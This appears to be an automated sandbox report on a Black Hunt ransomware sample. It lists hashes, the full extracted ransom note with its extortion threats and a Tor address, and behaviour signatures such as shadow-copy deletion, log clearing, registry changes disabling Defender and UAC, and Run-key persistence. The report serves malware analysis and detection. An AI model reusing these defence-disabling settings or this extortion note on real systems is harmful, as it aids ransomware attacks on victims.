22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:45

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General

Target

22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Size

707KB
MD5

9726dae4eb0d1106f7a394ab90979409
SHA1

40d8f141b0a4b7cc923eda532fea119e4589ff4f
SHA256

22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52
SHA512

18777369882af4a8446db03d46f66eec83b3d8dcf107618090f7f8c7627a99b01d9d8a60a465d537e2bd4bb45ec23c4a4a7e5c9b13555ad35b3d1b185898819b
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1X8Pvnh:6uaTmkZJ+naie5OTamgEoKxLWGHh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> Rlvw1IKB4PiJ1Ig5 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3420	fsutil.exe
1588	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3104	wevtutil.exe
3220	wevtutil.exe
2692	wevtutil.exe
3228	wevtutil.exe
1828	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2468	bcdedit.exe
2212	bcdedit.exe
1212	bcdedit.exe
3612	bcdedit.exe

Renames multiple (2890) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3416	wbadmin.exe
2812	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3036	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\I:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\O:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\X:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\S:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\R:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\T:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\V:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\G:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\K:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\L:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\U:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\H:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\J:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\Z:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\M:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\A:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\N:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\P:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened (read-only)	\??\B:	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_ja.jar	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Brisbane	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-6	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_zh_4.4.0.v20140623020002.jar	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_Private.key	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_ReadMe.hta	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz-cyrl.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\vintage.png	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\win32\jni_md.h	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_Private.key	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_ReadMe.hta	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Oral	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Sofia	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Adak	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Kiev	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#BlackHunt_ReadMe.hta	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
